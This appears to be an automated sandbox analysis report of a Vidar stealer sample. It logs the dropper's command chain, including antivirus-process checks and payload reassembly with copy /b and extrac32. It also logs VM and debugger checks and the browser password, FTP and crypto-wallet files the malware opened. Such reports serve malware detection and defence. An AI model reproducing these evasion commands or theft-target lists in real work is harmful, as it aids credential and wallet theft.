Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Code function: 13_2_00D1A1E2 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	13_2_00D1A1E2
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Code function: 13_2_00D0E472 lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,	13_2_00D0E472
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Code function: 13_2_00D1A570 FindFirstFileW,Sleep,FindNextFileW,FindClose,	13_2_00D1A570
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Code function: 13_2_00D166DC FindFirstFileW,FindNextFileW,FindClose,	13_2_00D166DC
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Code function: 13_2_00CDC622 FindFirstFileExW,	13_2_00CDC622
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Code function: 13_2_00D173D4 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,FileTimeToSystemTime,	13_2_00D173D4
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Code function: 13_2_00D17333 FindFirstFileW,FindClose,	13_2_00D17333
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Code function: 13_2_00D0D921 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	13_2_00D0D921

Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com

Code function: 13_2_00CA5FC8 GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

13_2_00CA5FC8

Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\190244\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\190244	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\	Jump to behavior

Source: chrome.exe, 00000014.00000002.2060624830.0000625402CCC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware
Source: Web Data.26.dr	Binary or memory string: ms.portal.azure.comVMware20,11696494690
Source: Web Data.26.dr	Binary or memory string: discord.comVMware20,11696494690f
Source: Web Data.26.dr	Binary or memory string: AMC password management pageVMware20,11696494690
Source: Web Data.26.dr	Binary or memory string: outlook.office.comVMware20,11696494690s
Source: Web Data.26.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696494690p
Source: Web Data.26.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696494690
Source: Web Data.26.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696494690n
Source: chrome.exe, 00000014.00000002.2063707223.0000625403318000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware Virtual USB MouseJ
Source: Web Data.26.dr	Binary or memory string: interactivebrokers.comVMware20,11696494690
Source: Web Data.26.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696494690
Source: Web Data.26.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696494690d
Source: Web Data.26.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696494690u
Source: Web Data.26.dr	Binary or memory string: outlook.office365.comVMware20,11696494690t
Source: Rna.com, 0000000D.00000002.2664591239.000000000103E000.00000004.00000020.00020000.00000000.sdmp, Rna.com, 0000000D.00000002.2666277353.0000000003FB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: msedge.exe, 00000018.00000003.2088992763.00007DEC002B0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware20,1(
Source: Web Data.26.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696494690}
Source: Rna.com, 0000000D.00000002.2666277353.0000000003FA0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWj
Source: chrome.exe, 00000014.00000002.2042595015.000002170DF69000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: Web Data.26.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696494690x
Source: Web Data.26.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690^
Source: Web Data.26.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696494690
Source: Web Data.26.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696494690z
Source: chrome.exe, 00000014.00000002.2042595015.000002170DF69000.00000004.00000020.00020000.00000000.sdmp, msedge.exe, 00000018.00000002.2162353337.0000020E1A645000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: chrome.exe, 00000014.00000002.2053768068.0000625402490000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: USB device added: path=\\?\usb#vid_0e0f&pid_0003#5&2dda038&0&5#{a5dcbf10-6530-11d2-901f-00c04fb951ed} vendor=3599 "VMware", product=3 "VMware Virtual USB Mouse", serial="", driver="usbccgp", guid=5078a790-e0c0-489f-9091-32009c4dac93
Source: Web Data.26.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696494690h
Source: Web Data.26.dr	Binary or memory string: tasks.office.comVMware20,11696494690o
Source: chrome.exe, 00000014.00000002.2043664457.0000021711A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: War&Prod_VMware_
Source: Web Data.26.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696494690~
Source: Web Data.26.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696494690
Source: Web Data.26.dr	Binary or memory string: dev.azure.comVMware20,11696494690j
Source: Web Data.26.dr	Binary or memory string: global block list test formVMware20,11696494690
Source: Web Data.26.dr	Binary or memory string: turbotax.intuit.comVMware20,11696494690t
Source: Web Data.26.dr	Binary or memory string: bankofamerica.comVMware20,11696494690x
Source: Web Data.26.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696494690}
Source: Web Data.26.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690
Source: Web Data.26.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696494690]
Source: Web Data.26.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696494690x
Source: Web Data.26.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696494690
Source: Web Data.26.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696494690\|UE

Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com

Code function: 13_2_00D1F4FF BlockInput,

13_2_00D1F4FF

Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com

Code function: 13_2_00CA338B GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

13_2_00CA338B

Source: C:\Users\user\Desktop\random.exe

Code function: 0_2_004062FC GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_004062FC

Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com

Code function: 13_2_00CC5058 mov eax, dword ptr fs:[00000030h]

13_2_00CC5058

Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com

Code function: 13_2_00D020AA GetLengthSid,GetProcessHeap,HeapAlloc,CopySid,GetProcessHeap,HeapFree,

13_2_00D020AA

Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Code function: 13_2_00CD2992 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	13_2_00CD2992
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Code function: 13_2_00CC0BAF IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	13_2_00CC0BAF
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Code function: 13_2_00CC0D45 SetUnhandledExceptionFilter,	13_2_00CC0D45
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Code function: 13_2_00CC0F91 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	13_2_00CC0F91

Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com

13_2_00D01B4D

Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com

Code function: 13_2_00CA338B GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

13_2_00CA338B

Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com

Code function: 13_2_00D0BBED SendInput,keybd_event,

13_2_00D0BBED

Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com

Code function: 13_2_00D0ECD0 mouse_event,

13_2_00D0ECD0

Source: C:\Users\user\Desktop\random.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Elementary.potm Elementary.potm.cmd & Elementary.potm.cmd	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "opssvc wrsa"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 190244	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\extrac32.exe extrac32 /Y /E Highest.potm	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "Region" Automobiles	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b 190244\Rna.com + Trials + Tour + Auditor + Indices + Interests + Bk + Not + Assessment 190244\Rna.com	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Contributing.potm + ..\Cm.potm + ..\Contents.potm + ..\Templates.potm v	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\190244\Rna.com Rna.com v	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com

Code function: 13_2_00D014AE GetSecurityDescriptorDacl,GetAclInformation,GetLengthSid,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,

13_2_00D014AE

Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com

Code function: 13_2_00D01FB0 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

13_2_00D01FB0

Source: Rna.com, 0000000D.00000000.1466862890.0000000000D63000.00000002.00000001.01000000.00000008.sdmp, Rna.com.2.dr, Bk.9.dr	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: Rna.com	Binary or memory string: Shell_TrayWnd

Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com

Code function: 13_2_00CC0A08 cpuid

13_2_00CC0A08

Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com

Code function: 13_2_00CFE5F4 GetLocalTime,

13_2_00CFE5F4

Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com

Code function: 13_2_00CFE652 GetUserNameW,

13_2_00CFE652

Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com

Code function: 13_2_00CDBCD2 _free,_free,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,_free,

13_2_00CDBCD2

Source: C:\Users\user\Desktop\random.exe

Code function: 0_2_00406805 GetVersion,GetSystemDirectoryW,GetWindowsDirectoryW,SHGetSpecialFolderLocation,SHGetPathFromIDListW,CoTaskMemFree,lstrcatW,lstrlenW,

0_2_00406805

Stealing of Sensitive Information

Yara detected Vidar stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: 13.2.Rna.com.3f70000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000D.00000003.1855893939.0000000001052000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.1855727940.000000000113F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.1856531472.0000000001081000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.1856335407.00000000010EF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2666157249.0000000003F71000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.1855797272.00000000010EF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.1856395608.0000000001081000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.1855526842.0000000001082000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.1855595292.0000000003F74000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2664591239.000000000103E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.1855797272.00000000010BE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.1855662280.0000000001081000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.1856462728.00000000010EF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.1855893939.0000000001081000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Rna.com PID: 8084, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: Rna.com, 0000000D.00000002.2660949853.0000000000807000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: electrum.*
Source: Rna.com, 0000000D.00000002.2664591239.000000000103E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \ElectronCash\wallets\
Source: Rna.com, 0000000D.00000002.2664591239.000000000103E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Electrum\wallets\
Source: Rna.com, 0000000D.00000002.2664591239.000000000103E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: Rna.com, 0000000D.00000002.2664591239.000000000103E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: exodus.conf.json
Source: Rna.com, 0000000D.00000002.2664591239.000000000103E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Exodus\
Source: Rna.com, 0000000D.00000002.2664591239.000000000103E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: info.seco
Source: Rna.com, 0000000D.00000002.2664591239.000000000103E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ElectrumLTC
Source: Rna.com, 0000000D.00000002.2664591239.000000000103E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: passphrase.json
Source: Rna.com, 0000000D.00000002.2664591239.000000000103E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Ethereum\
Source: Rna.com, 0000000D.00000002.2660949853.0000000000807000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: exodus.*
Source: Rna.com, 0000000D.00000002.2660949853.0000000000807000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: ethereum.*
Source: Rna.com, 0000000D.00000002.2664591239.000000000103E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Coinomi\Coinomi\wallets\
Source: Rna.com, 0000000D.00000002.2664591239.000000000103E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: MultiDoge
Source: Rna.com, 0000000D.00000002.2664591239.000000000103E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: Rna.com, 0000000D.00000002.2664591239.000000000103E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: seed.seco
Source: Rna.com, 0000000D.00000002.2664591239.000000000103E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore
Source: Rna.com, 0000000D.00000002.2664591239.000000000103E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Electrum-LTC\wallets\

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\storage\permanent\chrome\idb\3561288849sdhlie.files\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\storage\permanent\chrome\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\kz8kl7vh.default\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\datareporting\glean\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\crashes\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\datareporting\glean\db\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\security_state\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\storage\to-be-removed\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\crashes\events\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\datareporting\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\datareporting\glean\events\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.files\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.files\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\storage\permanent\chrome\idb\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\datareporting\glean\pending_pings\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\bookmarkbackups\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\datareporting\archived\2023-10\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\storage\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\saved-telemetry-pings\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\datareporting\archived\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\datareporting\glean\tmp\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\minidumps\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\sessionstore-backups\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.files\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\storage\permanent\chrome\idb\2918063365piupsah.files\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.files\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\storage\permanent\key4.db	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	File opened: C:\Users\user\AppData\Roaming\Exodus\backups\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Source: Rna.com	Binary or memory string: WIN_81
Source: Rna.com	Binary or memory string: WIN_XP
